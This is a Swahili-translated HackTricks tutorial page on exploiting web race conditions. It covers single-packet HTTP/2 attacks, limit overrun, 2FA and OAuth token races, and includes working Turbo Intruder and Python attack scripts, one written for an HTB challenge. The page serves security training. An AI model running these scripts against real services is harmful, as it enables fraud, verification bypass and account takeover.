# Hali ya Mashindano
\ Tumia [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition) kujenga na **kutumia workflows** kwa urahisi zinazotumia zana za jamii ya **juu zaidi** duniani.\ Pata Ufikiaji Leo: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! Njia nyingine za kusaidia HackTricks: * Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% hint style="warning" %} Ili kupata uelewa wa kina wa mbinu hii, angalia ripoti ya asili kwenye [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) {% endhint %} ## Kuboresha Mashambulizi ya Hali ya Mashindano Kizuizi kikuu katika kutumia mashindano ya hali ni kuhakikisha kuwa maombi mengi yanashughulikiwa wakati huo huo, na **tofauti ndogo sana katika nyakati zao za usindikaji—ideally, chini ya 1ms**. Hapa unaweza kupata baadhi ya mbinu za Kusawazisha Maombi: #### Shambulio la Pakiti Moja ya HTTP/2 dhidi ya Ushirikiano wa Herufi ya Mwisho ya HTTP/1.1 * **HTTP/2**: Inasaidia kutuma maombi mawili kupitia muunganisho mmoja wa TCP, kupunguza athari ya mtikisiko wa mtandao. Hata hivyo, kutokana na tofauti za upande wa seva, maombi mawili hayatoshi kwa kudukua mashindano kwa njia thabiti. * **HTTP/1.1 'Ushirikiano wa Herufi ya Mwisho'**: Inawezesha kutuma sehemu kubwa ya maombi 20-30, ikizuia kipande kidogo, ambacho kisha hutumwa pamoja, kufikia kuwasili kwa wakati mmoja kwenye seva. **Maandalizi ya Ushirikiano wa Herufi ya Mwisho** yanajumuisha: 1. Kutuma vichwa na data ya mwili isipokuwa herufi ya mwisho bila kumaliza mto. 2. Kusimamisha kwa 100ms baada ya kutuma awali. 3. Kulemaza TCP\_NODELAY kutumia algorithm ya Nagle kwa kubatilisha fremu za mwisho. 4. Kutuma ping kwa kuchemsha muunganisho. Kutuma kwa fremu zilizozuiliwa baadaye inapaswa kusababisha kuwasili kwao kwenye pakiti moja, inayoweza kuthibitishwa kupitia Wireshark. Mbinu hii haitumiki kwa faili za tuli, ambazo kawaida hazihusiki katika mashambulizi ya RC. ### Kuzoea Miundo ya Seva Kuelewa miundo ya lengo ni muhimu. Seva za mbele zinaweza kupeleka maombi kwa njia tofauti, zikiathiri wakati. Kuchemsha muunganisho wa upande wa seva mapema, kupitia maombi yasiyo na maana, kunaweza kawaidaisha wakati wa maombi. #### Kushughulikia Kufunga kwa Msingi wa Kikao Mifumo kama kushughulikia kwa kikao cha PHP inaserializa maombi kwa kikao, ikificha mara nyingi udhaifu. Kutumia vitambulisho tofauti vya kikao kwa kila ombi kunaweza kuzunguka tatizo hili. #### Kupita Vikwazo vya Kiwango au Rasilmali Ikiwa kuchemsha muunganisho hakufanikiwa, kusababisha kwa makusudi kucheleweshwa kwa vikwazo vya kiwango au rasilmali vya seva za wavuti kupitia mafuriko ya maombi bandia kunaweza kurahisisha shambulio la pakiti moja kwa kusababisha kucheleweshwa kwa upande wa seva yanayofaa mashindano. ## Mifano ya Mashambulizi * **Tubo Intruder - shambulio la pakiti moja la HTTP2 (kituo 1)**: Unaweza kutuma ombi kwa **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), unaweza kubadilisha katika ombi thamani unayotaka kudungua kwa **`%s`** kama katika `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` na kisha chagua **`examples/race-single-packer-attack.py`** kutoka kwenye menyu ya kunjua:
Ikiwa unakwenda kutuma **thamani tofauti**, unaweza kubadilisha nambari na hii inayotumia orodha ya maneno kutoka kwa ubao wa kunakili: ```python passwords = wordlists.clipboard for password in passwords: engine.queue(target.req, password, gate='race1') ``` {% hint style="warning" %} Ikiwa wavuti haiungi mkono HTTP2 (tu HTTP1.1) tumia `Engine.THREADED` au `Engine.BURP` badala ya `Engine.BURP2`. {% endhint %} * **Tubo Intruder - Shambulio la pakiti moja la HTTP2 (Vipengele vingi)**: Kwa hali ambapo unahitaji kutuma ombi kwa kipande 1 na kisha vingine kwa vipande vingine ili kuzindua RCE, unaweza kubadilisha script ya `race-single-packet-attack.py` na kitu kama: ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, engine=Engine.BURP2 ) # Hardcode the second request for the RC confirmationReq = '''POST /confirm?token[]= HTTP/2 Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU Content-Length: 0 ''' # For each attempt (20 in total) send 50 confirmation requests. for attempt in range(20): currentAttempt = str(attempt) username = 'aUser' + currentAttempt # queue a single registration request engine.queue(target.req, username, gate=currentAttempt) # queue 50 confirmation requests - note that this will probably sent in two separate packets for i in range(50): engine.queue(confirmationReq, gate=currentAttempt) # send all the queued requests for this attempt engine.openGate(currentAttempt) ``` * Pia inapatikana katika **Repeater** kupitia chaguo jipya la '**Tuma kikundi kwa pamoja**' katika Burp Suite. * Kwa **kuzidi kikomo**, unaweza tu kuongeza **ombi moja mara 50** katika kikundi. * Kwa **kuwasha uhusiano**, unaweza **kuongeza** mwanzoni mwa **kikundi** baadhi ya **maombi** kwa sehemu isiyo ya kudumu ya seva ya wavuti. * Kwa **kuchelewesha** mchakato **kati ya** kusindika **ombi moja na nyingine** katika hatua 2 za substates, unaweza **kuongeza maombi ya ziada kati ya** maombi yote mawili. * Kwa **RC yenye vituo vingi**, unaweza kuanza kutuma **ombi** linaloenda kwenye hali iliyofichwa** na kisha **maombi 50** mara baada ya hapo ambayo **yanatumia hali iliyofichwa**.
* **Skripti ya python iliyotuimishwa**: Lengo la skripti hii ni kubadilisha barua pepe ya mtumiaji wakati ikithibitisha mara kwa mara hadi ishara ya uthibitisho wa barua pepe mpya inapofika kwenye barua pepe ya mwisho (hii ni kwa sababu katika nambari ilikuwa inaona RC ambapo ilikuwa inawezekana kurekebisha barua pepe lakini uthibitisho ulitumwa kwa ile ya zamani kwa sababu kipengele kinachoonyesha barua pepe tayari kilikuwa kimejazwa na ya kwanza).\ Wakati neno "objetivo" linapatikana katika barua pepe zilizopokelewa tunajua tumepokea ishara ya uthibitisho wa barua pepe iliyobadilishwa na tunamaliza shambulizi. ```python # https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun # Script from victor to solve a HTB challenge from h2spacex import H2OnTlsConnection from time import sleep from h2spacex import h2_frames import requests cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg" # change these headers headersObjetivo= """accept: */* content-type: application/x-www-form-urlencoded Cookie: """+cookie+""" Content-Length: 112 """ bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827' headersVerification= """Content-Length: 1 Cookie: """+cookie+""" """ CSRF="42a08872-610a-4965-9553-22d7b3aa1827" host = "94.237.56.46" puerto =39697 url = "https://"+host+":"+str(puerto)+"/email/" response = requests.get(url, verify=False) while "objetivo" not in response.text: urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/" responseDeleteMails = requests.get(urlDeleteMails, verify=False) #print(response.text) # change this host name to new generated one Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" } data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile" responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False) print(responseReset.status_code) h2_conn = H2OnTlsConnection( hostname=host, port_number=puerto ) h2_conn.setup_connection() try_num = 100 stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num) all_headers_frames = [] # all headers frame + data frames which have not the last byte all_data_frames = [] # all data frames which contain the last byte for i in range(0, try_num): last_data_frame_with_last_byte='' if i == try_num/2: header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501 method='POST', headers_string=headersObjetivo, scheme='https', stream_id=stream_ids_list[i], authority=host, body=bodyObjetivo, path='/challenge/api/profile' ) else: header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( method='GET', headers_string=headersVerification, scheme='https', stream_id=stream_ids_list[i], authority=host, body=".", path='/challenge/api/sendVerification' ) all_headers_frames.append(header_frames_without_last_byte) all_data_frames.append(last_data_frame_with_last_byte) # concatenate all headers bytes temp_headers_bytes = b'' for h in all_headers_frames: temp_headers_bytes += bytes(h) # concatenate all data frames which have last byte temp_data_bytes = b'' for d in all_data_frames: temp_data_bytes += bytes(d) h2_conn.send_bytes(temp_headers_bytes) # wait some time sleep(0.1) # send ping frame to warm up connection h2_conn.send_ping_frame() # send remaining data frames h2_conn.send_bytes(temp_data_bytes) resp = h2_conn.read_response_from_socket(_timeout=3) frame_parser = h2_frames.FrameParser(h2_connection=h2_conn) frame_parser.add_frames(resp) frame_parser.show_response_of_sent_requests() print('---') sleep(3) h2_conn.close_connection() response = requests.get(url, verify=False) ``` ### BF Mbichi Kabla ya utafiti uliopita hizi ni baadhi ya mizigo iliyotumiwa ambayo ilijaribu kutuma pakiti haraka iwezekanavyo kusababisha RC. * **Repeater:** Angalia mifano kutoka sehemu iliyopita. * **Mvamizi**: Tuma **ombi** kwa **Mvamizi**, weka **idadi ya nyuzi** kuwa **30** ndani ya menyu ya **Chaguo** na, chagua mizigo ya **Mizigo tupu** na uzalishe **30.** * **Mvamizi wa Turbo** ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=5, requestsPerConnection=1, pipeline=False ) a = ['Session=','Session=','Session='] for i in range(len(a)): engine.queue(target.req,a[i], gate='race1') # open TCP connections and send partial requests engine.start(timeout=10) engine.openGate('race1') engine.complete(timeout=60) def handleResponse(req, interesting): table.add(req) ``` * **Python - asyncio** ```python import asyncio import httpx async def use_code(client): resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"}) return resp.text async def main(): async with httpx.AsyncClient() as client: tasks = [] for _ in range(20): #20 times tasks.append(asyncio.ensure_future(use_code(client))) # Get responses results = await asyncio.gather(*tasks, return_exceptions=True) # Print results for r in results: print(r) # Async2sync sleep await asyncio.sleep(0.5) print(results) asyncio.run(main()) ``` ## **Mbinu ya RC** ### Kikomo-kuzidi / TOCTOU Hii ni aina ya msingi kabisa ya hali ya mbio ambapo **mapungufu** yanayoonekana mahali ambapo **kikomo cha idadi ya mara unaweza kufanya kitendo**. Kama kutumia nambari ile ile ya punguzo katika duka la wavuti mara kadhaa. Mfano rahisi sana unaweza kupatikana katika [**ripoti hii**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) au katika [**kosa hili**](https://hackerone.com/reports/759247)**.** Kuna mabadiliko mengi ya aina hii ya shambulio, ikiwa ni pamoja na: * Kukomboa kadi ya zawadi mara kadhaa * Kupima bidhaa mara kadhaa * Kutoa au kuhamisha pesa zaidi ya salio lako la akaunti * Kutumia suluhisho moja la CAPTCHA mara nyingi * Kupuuza kikomo cha kiwango cha anti-brute-force ### **Hali za siri** Kuendeleza hali ngumu za mbio mara nyingi kunahusisha kutumia fursa fupi za kuingiliana na hali za siri au **hali za mashine zisizotarajiwa**. Hivi ndivyo unavyoweza kukabiliana na hili: 1. **Tambua Hali za Siri Zinazowezekana** * Anza kwa kubainisha vituo vya mwisho vinavyobadilisha au kuingiliana na data muhimu, kama vile maelezo ya mtumiaji au michakato ya kurejesha nywila. Jikite katika: * **Uhifadhi**: Penda vituo vya mwisho vinavyobadilisha data endelevu upande wa seva kuliko vile vinavyoshughulikia data upande wa mteja. * **Kitendo**: Tafuta shughuli zinazobadilisha data iliyopo, ambazo zina uwezekano mkubwa wa kujenga hali zinazoweza kudukuliwa ikilinganishwa na zile zinazoongeza data mpya. * **Ufunguo**: Mashambulizi mafanikio kawaida hujumuisha shughuli zinazotegemea kitambulisho kimoja, kama vile jina la mtumiaji au ishara ya kurejesha. 2. **Fanya Uchunguzi wa Awali** * Jaribu vituo vilivyobainishwa na mashambulio ya hali ya mbio, ukitazama mabadiliko yoyote kutoka kwa matokeo yanayotarajiwa. Majibu yasiyotarajiwa au mabadiliko katika tabia ya programu yanaweza kuashiria mapungufu. 3. **Onyesha Mapungufu** * Punguza shambulio hadi idadi ndogo ya maombi inayohitajika kudukua mapungufu, mara nyingi ni mawili tu. Hatua hii inaweza kuhitaji majaribio mengi au uendeshaji wa moja kwa moja kutokana na wakati sahihi unaohusika. ### Mashambulizi ya Wakati Wenye Hisia Uakisi katika kutuma maombi kwa wakati unaweza kufunua mapungufu, hasa wakati mbinu za kutabirika kama vile alama za wakati hutumiwa kwa ishara za usalama. Kwa mfano, kutengeneza alama za kurejesha nywila kulingana na alama za wakati kunaweza kuruhusu alama sawa kwa maombi yanayofanyika wakati mmoja. **Kudukua:** * Tumia uakisi wa wakati, kama shambulio la pakiti moja, kufanya maombi ya kurejesha nywila kwa wakati mmoja. Alama sawa zinaonyesha mapungufu. **Mfano:** * Omba alama mbili za kurejesha nywila kwa wakati mmoja na uzilinganishe. Alama zinazolingana zinaonyesha kasoro katika utengenezaji wa alama. **Angalia hii** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **jaribu hili.** ## Uchunguzi wa Kesi za Hali za Siri ### Lipa & ongeza Bidhaa Angalia hii [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) kuona jinsi ya **kulipa** katika duka na **kuongeza** bidhaa ya ziada ambayo **hutahitaji kulipa**. ### Thibitisha barua pepe nyingine Wazo ni **kuthibitisha anwani ya barua pepe na kuibadilisha kuwa tofauti wakati huo huo** ili kugundua ikiwa jukwaa linathibitisha ile mpya iliyobadilishwa. ### Badilisha barua pepe hadi anwani 2 zilizotegemea Vidakuzi Kulingana na [**utafiti huu**](https://portswigger.net/research/smashing-the-state-machine) Gitlab ilikuwa na kasoro ya kuchukuliwa kwa njia hii kwa sababu inaweza **kutuma** ishara ya **uthibitisho wa barua pepe ya barua pepe moja kwenda kwa barua pepe nyingine**. **Angalia hii** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **jaribu hili.** ### Hali za Siri zilizofichwa / Kupuuza Uthibitisho Ikiwa **kuandika tofauti 2** hutumiwa **kuongeza** **taarifa** ndani ya **hifadhidata**, kuna sehemu ndogo ya wakati ambapo **data ya kwanza tu imeandikwa** ndani ya hifadhidata. Kwa mfano, wakati wa kuunda mtumiaji **jina la mtumiaji** na **nywila** inaweza **kuandikwa** na **kisha ishara** ya kuthibitisha akaunti mpya iliyoundwa inaandikwa. Hii inamaanisha kwamba kwa muda mfupi **ishara ya kuthibitisha akaunti ni tupu**. Hivyo **kujiandikisha akaunti na kutuma maombi kadhaa na ishara tupu** (`ishara=` au `ishara[]=` au mabadiliko mengine yoyote) kuthibitisha akaunti mara moja inaweza kuruhusu kuthibitisha akaunti ambapo haukudhibiti barua pepe. **Angalia hii** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **jaribu hili.** ### Kupuuza 2FA Msimbo wa pseudo ufuatao una kasoro ya hali ya mbio kwa sababu kwa muda mfupi sana **2FA haijatekelezwa** wakati kikao kinajengwa: ```python session['userid'] = user.userid if user.mfa_enabled: session['enforce_mfa'] = True # generate and send MFA code to user # redirect browser to MFA code entry form ``` ### Kudumu kwa muda mrefu wa OAuth2 Kuna [**watoa huduma wa OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers) kadhaa. Huduma hizi zitaruhusu uunda programu na kuthibitisha watumiaji ambao mtoa huduma amesajili. Ili kufanya hivyo, **mteja** atahitaji **kuidhinisha programu yako** ili kupata baadhi ya data yao ndani ya **mtoa huduma wa OAuth**.\ Kwa hivyo, mpaka hapa ni kama kuingia kawaida na google/linkedin/github... ambapo unaulizwa kwenye ukurasa unasema: "_Programu \ inataka kupata taarifa zako, unataka kuruhusu?_" #### Hali ya Mashindano katika `authorization_code` **Tatizo** linatokea unapopokea na kutuma **`authorization_code`** kiotomatiki kwa programu ya madhara. Kisha, programu hii **inatumia Hali ya Mashindano katika mtoa huduma wa OAuth** kuzalisha AT/RT zaidi ya moja (_Authentication Token/Refresh Token_) kutoka kwa **`authorization_code`** kwa akaunti yako. Kimsingi, itatumia ukweli kwamba umekubali programu kupata data yako ili **kuunda akaunti kadhaa**. Kisha, ikiwa **utaacha kuruhusu programu kupata data yako jozi moja ya AT/RT itafutwa, lakini zingine zitabaki halali**. #### Hali ya Mashindano katika `Refresh Token` Baada ya **kupata RT halali** unaweza kujaribu **kuitumia vibaya kuzalisha AT/RT kadhaa** na **hata ikiwa mtumiaji ataghairi ruhusa** kwa programu ya madhara kupata data yake, **RT kadhaa bado zitabaki halali**. ## **Hali ya Mashindano katika WebSockets** Katika [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) unaweza kupata PoC katika Java kutuma ujumbe wa websocket **kwa pamoja** kuitumia **Hali za Mashindano pia katika Web Sockets**. ## Marejeo * [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247) * [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html) * [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140) * [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) * [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! Njia nyingine za kusaidia HackTricks: * Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee * **Jiunge na** 💬 **kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
\ Tumia [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition) kujenga na **kutumia taratibu za kiotomatiki** zinazotumia zana za jamii za **juu zaidi** duniani.\ Pata Ufikiaji Leo: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}